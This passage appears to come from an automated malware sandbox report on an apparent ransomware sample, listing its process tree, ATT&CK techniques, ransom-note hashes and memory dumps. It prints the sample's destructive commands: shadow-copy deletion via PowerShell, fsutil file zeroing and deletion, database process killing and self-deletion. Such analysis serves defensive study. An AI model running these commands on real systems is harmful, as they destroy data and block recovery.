  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4704
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4708
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:756
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:4112
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:3800
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\48A1E96CC6C26CBC38679C0AE565448B.exe
  2⤵
  PID:4836
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1480

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESTORE_FILES_INFO.txt

Path C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
Size 2KB
SHA256 677f31da46ac703460dc8ec9a71642ad3d29f09539ef0387037497556f6e1921
MD5 8cc72908a08d545bf37d046db2f717a0
SHA1 2ebca399c9acea7ef6456ae25fb9d3f393827c7c
SHA512 5d4a3728098a0ad0be30198c3d1288faaf3bfcde14ce702a08c120df8daaff0541bcd59f1d1eb7958c6e9317e2eb217fa595b1d1efa3b482c2f20dacfaeee4c0
MD5 SHA1 SHA512

Submit Download

memory/3096-132-0x00000000002D0000-0x00000000002F8000-memory.dmp

Download

memory/3096-138-0x00000000052F0000-0x0000000005356000-memory.dmp

Download

memory/3096-133-0x00000000053F0000-0x0000000005994000-memory.dmp

Download

memory/4708-198-0x0000000005520000-0x0000000005542000-memory.dmp

Download

memory/4708-196-0x0000000002CC0000-0x0000000002CF6000-memory.dmp

Download

memory/4708-197-0x00000000057F0000-0x0000000005E18000-memory.dmp

Download

memory/4708-199-0x0000000005E90000-0x0000000005EF6000-memory.dmp

Download

memory/4708-200-0x00000000065F0000-0x000000000660E000-memory.dmp

Download